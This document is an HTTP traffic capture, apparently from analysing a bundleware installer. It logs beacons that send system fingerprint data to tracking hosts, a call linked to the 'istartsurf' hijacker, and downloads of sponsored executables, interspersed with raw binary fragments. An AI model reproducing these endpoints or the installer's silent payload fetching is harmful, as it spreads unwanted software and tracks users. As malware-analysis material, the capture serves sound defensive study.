a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=97E0D9D934E84791AE8E9FB2AE590BFCPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE13c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429690905&procruntime=3&rnd=1429690908 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: rkKOE1dfhPmgB4qLPDXkvMtAzAvP1hUgWi5vFn//0Gg/2sesIqWIkfX8j2ATlKZp

x-amz-request-id: 81D16C8AE8F587E3

Date: Wed, 22 Apr 2015 08:21:49 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:40 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: rkKOE1
dfhPmgB4qLPDXkvMtAzAvP1hUgWi5vFn//0Gg/2sesIqWIkfX8j2ATlKZp..x-amz-requ
est-id: 81D16C8AE8F587E3..Date: Wed, 22 Apr 2015 08:21:49 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:40 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1429690909 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 4eUoPzZIYfQh8J8BNp2513pc D/CNqkE2vrrpZbRQBmp0zxuDRnT0FxPSZJ8fBIY

x-amz-request-id: 2F538C18000012E2

Date: Wed, 22 Apr 2015 08:21:50 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1429690909 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: KBq7EIbSLrcJKU0reg5TcdeEDMLqOMCSNDAijMpuJGp8O32FGnZGHy7X/oyfqCWF

x-amz-request-id: CA62AC2229FE0960

Date: Wed, 22 Apr 2015 08:21:50 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: KBq7EI
bSLrcJKU0reg5TcdeEDMLqOMCSNDAijMpuJGp8O32FGnZGHy7X/oyfqCWF..x-amz-requ
est-id: CA62AC2229FE0960..Date: Wed, 22 Apr 2015 08:21:50 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429690910 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: rmxMpBfpKIAntaZVVaB/gPJ1iDoC7She fNnjPm2QfxtGrdJbUmENZqZT0yIsXep

x-amz-request-id: 431318DFE5DD40E3

Date: Wed, 22 Apr 2015 08:21:51 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: rmxMpB
fpKIAntaZVVaB/gPJ1iDoC7She fNnjPm2QfxtGrdJbUmENZqZT0yIsXep..x-amz-requ
est-id: 431318DFE5DD40E3..Date: Wed, 22 Apr 2015 08:21:51 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429690911 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: NIofGhkQXrL7LxCHGT8NTXPqHv14Y0JI6yUMpTtz93t dhxZ9DGyoeCy3EIjuMuO

x-amz-request-id: AF69F95D1C3476A2

Date: Wed, 22 Apr 2015 08:21:52 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429690911 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: oiKdguwfb24lAJQtCKg4rV1peZgy0n8tzGF9XyWhTB2iz528ZXVCmNqQQSWRNWLD

x-amz-request-id: 8CAAB5324E2895F5

Date: Wed, 22 Apr 2015 08:21:52 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429690911 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: ceIXQjoiOWC4JQ06xONb1XYrIYGSMYI5zdLpVq aHvy/9aYV8YBcjvCAhH/Rmv13

x-amz-request-id: 6B3477D57360C0C4

Date: Wed, 22 Apr 2015 08:21:52 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429690911 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: B7E6MYzfTHgTBA8uyu 6KIF1dasqnd0x1a5nhM0kAJhB4V2IKmmA9dncF56Pp0Qy

x-amz-request-id: 450E4280E4FD1EFD

Date: Wed, 22 Apr 2015 08:21:52 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429690911 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 5HKsUG1CUqjoIA/B3Cz7XX YhdHoogNelAzZIrjYvtHeCyTyB0f9iVm9EqwTUGYM

x-amz-request-id: 58A6FBC95CA8E6AD

Date: Wed, 22 Apr 2015 08:21:52 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 5HKsUG
1CUqjoIA/B3Cz7XX YhdHoogNelAzZIrjYvtHeCyTyB0f9iVm9EqwTUGYM..x-amz-requ
est-id: 58A6FBC95CA8E6AD..Date: Wed, 22 Apr 2015 08:21:52 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429690916 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: qX9vvm7OfutRdLHrsMapvRl0luCPZLv2QHTuG7Lx/eCtTSYybVM 9Hl7OkRk8J4w

x-amz-request-id: EC26B69708560D98

Date: Wed, 22 Apr 2015 08:21:57 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429690916 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: kfdZu1XJk6DXahOoUiKUu21tufgfksTh8chGsZ aWtKkEZoqodZuuqvYkQYZmItd

x-amz-request-id: 726FE5FEF61357F6

Date: Wed, 22 Apr 2015 08:21:57 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429690916 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: heVpArHvCU8aLjAo52/FIJm/Hhy1fVVvU8EzM PzEW77bNxlypUzVGRxGJhunMIX

x-amz-request-id: 472BDFADCBAE54D3

Date: Wed, 22 Apr 2015 08:21:57 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: heVpAr
HvCU8aLjAo52/FIJm/Hhy1fVVvU8EzM PzEW77bNxlypUzVGRxGJhunMIX..x-amz-requ
est-id: 472BDFADCBAE54D3..Date: Wed, 22 Apr 2015 08:21:57 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429690917 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: kGXAdPiCFvoGt67OwEE7X0ALwfPG6E5RoEVtyp/AEfgKK4TvENzILZ HjBEpZF6e

x-amz-request-id: D5F0075723197313

Date: Wed, 22 Apr 2015 08:21:59 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1429690918 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: iC1m4RCWb7719R9BCj/e/PMunvQ9zhMDZZJakamriSK3HThplcILqxwyZtLTsXsV

x-amz-request-id: B170E7BF1ADB80A4

Date: Wed, 22 Apr 2015 08:21:59 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: iC1m4R
CWb7719R9BCj/e/PMunvQ9zhMDZZJakamriSK3HThplcILqxwyZtLTsXsV..x-amz-requ
est-id: B170E7BF1ADB80A4..Date: Wed, 22 Apr 2015 08:21:59 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d1z9ocnzqrnjt0.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 200072

Connection: keep-alive

Date: Sun, 19 Apr 2015 06:46:01 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-200071/200072

Age: 1032

X-Cache: Hit from cloudfront

Via: 1.1 8cdc69e06e564b9aef153cf0b52204b0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 57_yFLCgaM_g5k6Ysp9ldtip42IUaPLyZ_eDRCB-9FwQDLFIllvZLg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
...........................{........................................s.
[email protected]............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /Fan/rebirth?uid=267123711_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=istartsurf HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: up.soft365.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:23:49 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

Content-Encoding: gzip

14........................0..HTTP/1.1 200 OK..Server: nginx..Date: Wed
, 22 Apr 2015 08:23:49 GMT..Content-Type: text/html; charset=UTF-8..Tr
ansfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encodin
g..X-Powered-By: PHP/5.2.14p1..Content-Encoding: gzip..14.............
...........0..

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=4&index_in_screen=1&index_in_session=4&display_height=170&0.5185961038664062 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.6.10.1429690889; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:25:07 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:25:07 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=65408-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:23:55 GMT

Date: Wed, 22 Apr 2015 08:23:55 GMT

Content-Range: bytes 65408-523263/523264

Content-Length: 457856

Connection: keep-alive
N...F.M.||. Rx..?.Nr{.F.f9`.l....;f.....x.B..-....K<.v...B.X.$o....
..9..G.5.........D.~OO4=.........)....Nw.r.."szP...(.m.{.._qY."...X|X.
`w.14.........d.`...`..`..dQ...;.8...$.F... f8][email protected].
w,.....}U........cqm..:.J..X.D.1B.6g....<....@`G-d.....WM:..K/e....
...R..T.....<....=._.k....V.j..b.[........o.......L.dmK.....Qt..D).
...X......0.!..h.....4..n.`..m........... |[email protected].
*u.Q..x.fc..m.|....A.y...............Q1.........C..i.......}....U..5!.
.c..g.^....d.$.*..v...../Z ...i.8..>59...&.?...%...(!&g`.8W.h...\..
.....e..)7.....M>....xg..b.^7.r...k.....Z...j%$....<?....8"7..uy
.r3^[email protected]....>.3......Q.M.O....._....
..gO....F...Br....sR..X. ..K..A.|[email protected].....(..~8H.....Lf...kg.....
Q.:.....T.5.N.7..6U........%..0X...2vx..H..O...=..hcU.0L.>..;O0Yf..
.6.hM...6V....>..J..lTU...v8./.......S...........E..)..D..L...p.q..
.......wB..;.B...I...d...p7.}.UY...*KT%".J....q}6.Y: .x.e.L..bx....6..
..y.OFuB.s.6...r... ...-.....P^W.../.V..&6..2..d|wHce~.."'a1.......VB.
.....U........B.9..........b....~.t.b....R..o!G.......}.......@:.&....
.V.Y"o:9'2.%.GQo.d..S....a.....9..{du.O.......q..%. .=..._4.S....~n...
t...K.W....`.x,..*.n[..k<..ik-..1o....x5N....1^g..8p. .X]t\.../...'
.....?.P......n....$_.....`L..cs...l..rk.rE:.....F...X/..p.=..D...0fd.
. .....&G...!...!A...........\[email protected].]t.B_K.*.
.....s...XW^.. ;.\L......k=5l...EZ5..R.h....k.8h..BKB].....@V... Kg0..
....I......e"w.,r*.v. ..V.....S.7.`.H...;..*)...6..%..... .o.!Q...<<< skipped >>>

GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1

Range: bytes=146553-293107

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 146555

Connection: keep-alive

Date: Sun, 19 Apr 2015 05:10:27 GMT

x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671

Cache-Control: max-age=3600

Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT

ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 146553-293107/586214

X-Cache: Hit from cloudfront

Via: 1.1 4073d53204b53a7ba5b11cb75338cb54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: BUAFZqAmvW31-wbe-u_383Zvl8VUoOo3LYNc6YpP_kzGTf7wBoXlHg==
".#.....<..g .g9^..........e$Y.}.O..........?k.&....2.I..d.^...T.ui
..II..CUG...n9..L6..{6..=z.gf...$7...="..&..8.....Ps&........X...]....
?....$........j.../.Y7WZ.b.......`........Vc6LDuw.ZMI....:wf.".K1..w..
o{.".../n.fl:>v..}%......3...FX.=9;..p..8.T.U.....`.....7Hwa.$5...g
<.3.....N..^#.a}........k....R.{.C.....v:.z....A.t.xP.........uIYu`
..}t8..)..G.....A.Q.......J...Lk...;1...Pe..-j.a.....`.&....S"U ..u...
3.jZ.^CuC.(...K..$...5..>.!.<2`W......3E./.k&....?...H-&!a.4...`
L.B..AL..ngl3\!x..x.B........^?E....m...Ox(`..Y......r...H....[..&a,.K
.....%..z.T....#.>.'.i.......A......MyU.J..K4..Hx8..........t...4~.
....)/c.o......,`,......(..bN.".^.`.F...r.mW.......m.%.L{........g..zF
.dU..d...=q...?}.....wh`.}..D0.....$*m..$&.........$.._d........:...].
.....xca.:.9..l.Y.*>....?.r....%U....SXM;...R.P...G...!A..S....."";
q.?V.<.m..... ..Y.^.Ml{...........oiA].&.g....i.A.....%|..w~.3...C.
.:Y...M..h......?....z..#..o...2.I...siv.........'S.e..n%[k t.9..tx...
Y.....o..F;..hm.Qf6..,..8..L.6'.v~....7..s...6P*..Z.>pd..K.$:.).k..
.....{...?...'..!...]....:.Y....................t.5...... \t.6rtMn.p..
.Hh...~ ........Y.........A.&Y.......,p....U...E..}.Fq<&....S..G..H
.u2.......=..C..DG...X...,;.U5.y.....b|8.J9.....NN.....j.y.....z.._;[.
...5......*e.....-....k...B...jh]x..%t..5.a.th.6.O...Hz.[.#...3,tE...3
.X.....|.IX~..q.i........~ ....5......j.O.^..Q.U/D.6....a......5..u..$
&...o...I..`.r{o.......!'...x.....W.F.D..M_.......d.....m.^...R....._x
..<..L.jewi_.h.Pe..0......I....t. r..)...~. ...-.SI...9.#wps...<<< skipped >>>

GET /?product=firefox-34.0.5-complete&os=win&lang=en-US HTTP/1.1

Host: download.mozilla.org

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Range: bytes=1200000-1499999

Cookie: optimizelySegments={"245617832":"none","245875585":"direct","245677587":"ff","246048108":"false","869421433":"true"}; optimizelyEndUserId=oeu1401956287616r0.2603029596469415; optimizelyBuckets={}; __utma=150903082.1617578787.1401956289.1401956289.1401956289.1

Connection: keep-alive


HTTP/1.1 302 Found

Server: Apache

X-Backend-Server: bouncer4.webapp.scl3.mozilla.com

Cache-Control: max-age=60

Content-Type: text/html; charset=UTF-8

Date: Wed, 22 Apr 2015 08:23:31 GMT

Location: hXXp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar

Keep-Alive: timeout=3, max=497

Content-Length: 0

Connection: Keep-Alive

X-Cache-Info: cached

HTTP/1.1 302 Found..Server: Apache..X-Backend-Server: bouncer4.webapp.
scl3.mozilla.com..Cache-Control: max-age=60..Content-Type: text/html; 
charset=UTF-8..Date: Wed, 22 Apr 2015 08:23:31 GMT..Location: hXXp://d
ownload.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US
/firefox-34.0.5.complete.mar..Keep-Alive: timeout=3, max=497..Content-
Length: 0..Connection: Keep-Alive..X-Cache-Info: cached..

GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?22286cd7139739ee HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Tue, 24 Mar 2015 16:17:41 GMT

If-None-Match: "804047d4e66d01:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Tue, 24 Mar 2015 16:17:41 GMT

ETag: "804047d4e66d01:0"

Cache-Control: max-age=86400

Date: Wed, 22 Apr 2015 08:23:15 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Tue, 24 Mar 2015 16:17:41 GMT..ETag: "804047d4e66d01:0"..C
ache-Control: max-age=86400..Date: Wed, 22 Apr 2015 08:23:15 GMT..Conn
ection: keep-alive......

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?e72165454ebff1a8 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Tue, 24 Feb 2015 00:37:01 GMT

If-None-Match: "80b4d90ca4fd01:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Tue, 24 Feb 2015 00:37:01 GMT

ETag: "80b4d90ca4fd01:0"

Cache-Control: max-age=604800

Date: Wed, 22 Apr 2015 08:23:16 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Tue, 24 Feb 2015 00:37:01 GMT..ETag: "80b4d90ca4fd01:0"..C
ache-Control: max-age=604800..Date: Wed, 22 Apr 2015 08:23:16 GMT..Con
nection: keep-alive..

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=75027-

User-Agent: Better Installer(Mozilla)

Host: d1z9ocnzqrnjt0.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 125045

Connection: keep-alive

Date: Sun, 19 Apr 2015 06:46:01 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 75027-200071/200072

Age: 1032

X-Cache: Hit from cloudfront

Via: 1.1 1228e077cd8e3d045c8d3f88beaa5abd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GyOrtrStxHELr3zZVD1o0ovJ0PZqxhrlzJS8LFOyiIgEyzpV8GdABw==
.?.B....gQ..<..Y......[.^.r..S2...-.y.H.X|1x.r...W.q5.o./e4...M.VfT
